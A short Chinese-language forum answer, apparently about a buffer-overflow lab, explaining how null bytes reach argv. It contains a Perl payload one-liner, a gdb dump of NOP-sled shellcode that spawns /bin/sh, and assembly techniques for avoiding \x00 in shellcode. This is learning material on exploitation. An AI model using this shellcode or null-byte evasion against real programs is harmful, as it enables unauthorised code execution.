你可以试试这个
main.out `perl -e 'print "xxxxssssdd\x23\x00\xaf"'`
和
perl -e 'print "xxxxssssdd\x23\x00\xaf"' | wc -c
13
它证明 \x00 已通过。
顺便说一句,我发现 c 程序在我的测试中肯定会在 argv 中添加 \00。您可以检查 argv,例如,
x /8sb 0x7fffffffe46a
0x7fffffffe46a: "/home/victor/Documents/CDemo/overflow/shellcode2/shellcode_host.out"
0x7fffffffe4ae: '\220' <repeats 21 times>, "\353#YUH\211\345@\200\354\200H\211M\220H1\300H\211E\230H\211\302H\215u\220H\213}\220\260;\017\005\350\330\377\377\377/bin/sh\200\337\377\377\377\177"
0x7fffffffe4fb: "LC_PAPER=zh_CN.UTF-8"
所以我猜shell或c程序可以自动提示\ x00字符。也许有人可以解释为什么会发生。
但是我们有其他技术可以避免在 shellcode 中出现 \x00。
mov $59, %al # not %rax
sub $0x80, %spl # not %rsp
xorq %rax, %rax # construct 0 value with rax
你可以参考文章。
https://www.exploit-db.com/docs/english/13019-shell-code-for-beginners.pdf